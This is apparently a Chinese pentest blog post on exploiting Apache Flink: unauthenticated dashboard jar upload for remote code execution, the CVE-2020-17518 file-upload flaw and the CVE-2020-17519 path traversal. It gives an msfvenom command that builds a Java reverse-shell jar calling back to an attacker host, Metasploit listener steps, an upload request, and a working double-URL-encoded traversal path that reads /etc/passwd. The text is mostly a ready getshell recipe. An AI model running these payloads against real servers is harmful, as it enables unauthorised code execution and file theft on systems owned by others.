Apache Flink是一个分布式大数据处理引擎,可以对有限数据流和无限数据流进行有状态计算。可部署在各种集群环境,对各种大小的数据规模进行快速计算。
Apache Flink Dashboard 未授权访问-远程代码命令执行
getshell
kail下生成
1 |
msfvenom -p java/shell_reverse_tcp lhost=192.168.1.100 lport=1234 -f jar >a.jar |
msf接收shell
1 |
msfconsole |
将jar包上传后点击上传的包然后Submit
Apache Flink 文件上传漏洞(CVE-2020-17518)
pache Flink框架是一个开源的流处理与强大的流和批处理功能。 Apache Flink 1.5.1介绍REST处理程序允许您编写一个上传文件在本地文件系统上的任意位置,通过一个HTTP头恶意修改。
Flink 具有监控 API,可用于查询”正在运行的jobs” 和 “最近完成的jobs” 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard,同时也可用于自定义监控工具,默认监听在8081端口。该监控 API 是 REST-ful API, 即接受 HTTP请求,并响应JSON格式的数据
监控 API 中有一个API是 /jars/upload,其作用是将一个jar上传到集群。该jar必须作为多部分数据发送。确保“ Content-Type”标头设置为“ application / x-java-archive”,因为某些http库默认情况下不添加标头。可以通过curl上传jar文件
影响版本:Apache Flink: 1.5.1 - 1.11.2
上传文件
1 |
POST /jars/upload HTTP/1.1 |
漏洞分析:
CVE-2020-17519 & CVE-2020-17518 分析
Apache Flink jobmanager/logs 目录穿越漏洞(CVE-2020-17519)
Apache Flink框架是一个开源的流处理与强大的流和批处理功能。 改变了Apache Flink 1.11.0(1.11.1释放和1.11.2)允许攻击者读取本地文件系统上的任何文件JobManager JobManager通过REST接口的过程。
允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。访问仅限于JobManager进程可访问的文件。
影响版本:Apache Flink: 1.11.0, 1.11.1, 1.11.2
比如我这里读取/etc/下的passwd文件,%252f为/的两次url编码
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论